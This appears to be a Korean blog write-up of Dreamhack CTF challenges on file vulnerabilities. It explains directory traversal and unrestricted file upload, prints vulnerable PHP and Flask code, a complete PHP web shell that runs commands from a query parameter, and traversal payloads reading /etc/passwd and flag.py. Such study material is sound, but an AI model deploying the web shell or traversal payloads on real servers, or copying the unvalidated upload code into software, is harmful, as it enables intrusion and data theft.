1.File Vulnerability
파일 처리 과정에서 발생할 수 있는 보안 취약점
공격자가 서버의 파일을 부적절하게 접근하거나 조작할 수 있게 되는 상황이다.
1-1.Directory Traversal (디렉토리 순회)
파일 경로를 조작하여 시스템에서 허가되지 않은 디렉토리나 파일에 접근하는 공격
file_path = f"/var/www/files/{request.args.get('filename')}"
with open(file_path, 'r') as f:
data = f.read()
다음코드에 이러한 파일이름을 넣게 되면 시스템에서 허가되지 않은 디렉토리나 파일에 접근할수있다.
/../../etc/passwd
1-2. File Upload Vulnerability (파일 업로드 취약점)
서버에 악성 파일을 업로드하여 원격 코드 실행, 데이터 유출, 시스템 파괴를 유발하는 공격이다.
업로드된 파일에 악성 스크립트 삽입 (PHP, Shell)
2.image-storage 문제
/flag.txt에 접근해서 flag를 얻어야한다.
2-1. 취약한코드
다음 업로드 페이지 PHP 코드에서 업ㄹ드 파일에 이름을 확인하지않고, 파일 타입검증또한 없기 때문에 PHP 파일을 업로드할수있다.
<?php
// 사용자가 POST 요청으로 파일을 업로드했는지 확인
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// 파일이 업로드되었는지 확인
if (isset($_FILES)) {
$directory = './uploads/'; // 파일을 저장할 디렉토리
$file = $_FILES["file"]; // 업로드된 파일 정보
$error = $file["error"]; // 파일 업로드 에러 코드
$name = $file["name"]; // 사용자가 업로드한 원래 파일 이름
$tmp_name = $file["tmp_name"]; // 업로드된 임시 파일의 경로
// 파일 업로드 중 에러가 발생했는지 확인
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
} else {
// **취약점 1: 파일 이름 중복 확인만 수행**
// 공격자가 '../' 등을 사용해 다른 경로로 접근하거나, 위험한 이름의 파일을 업로드할 수 있음
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
} else {
// **취약점 2: 파일 타입 검증이 없음**
// 실행 가능한 PHP, JS, 또는 다른 악성 파일이 업로드될 수 있음
if (move_uploaded_file($tmp_name, $directory . $name)) {
// 파일이 성공적으로 업로드됨
echo "Stored in: " . $directory . $name;
}
}
}
} else {
echo "Error !";
}
die();
}
?>
2-2.공격파일
사용자가 입력한 명령어를 서버에서 직접 실행하는 기능을 제공하는 PHP 파일을 다음 github레포지에서 가져와서 업로드하였다.
https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985
easy-simple-php-webshell.php
GitHub Gist: instantly share code, notes, and snippets.
gist.github.com
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?></pre></body>
</html>
cat /flag.txt 로 flag.txt 에 접근하였다.
3.file-download-1 문제
upload 엔드 포인트에는 파일이름의 .. 을 검열하여 상위 폴더로 가는것을 막아뒀지만
@APP.route('/upload', methods=['GET', 'POST'])
def upload_memo():
if request.method == 'POST':
filename = request.form.get('filename')
content = request.form.get('content').encode('utf-8')
if filename.find('..') != -1:
return render_template('upload_result.html', data='bad characters,,')
with open(f'{UPLOAD_DIR}/{filename}', 'wb') as f:
f.write(content)
return redirect('/')
return render_template('upload.html')
파일을 읽는 read 엔드포인트에는 그러한게 존재하지않는다.
@APP.route('/read')
def read_memo():
error = False
data = b''
filename = request.args.get('name', '')
try:
with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
data = f.read()
except (IsADirectoryError, FileNotFoundError):
error = True
return render_template('read.html',
filename=filename,
content=data.decode('utf-8'),
error=error)
파일이름 쿼리파라미터에 다음과같은 값을 넣어서 flag.py의 내용을 얻는다.
/read?name=../flag.py
반응형
'Computer Science > Security' 카테고리의 다른 글
[드림핵] SSRF(Server-Side Request Forgery) (0) | 2025.01.22 |
---|---|
[드림핵] Command Injection (0) | 2025.01.21 |
[보안] Blind SQL Injection (0) | 2025.01.21 |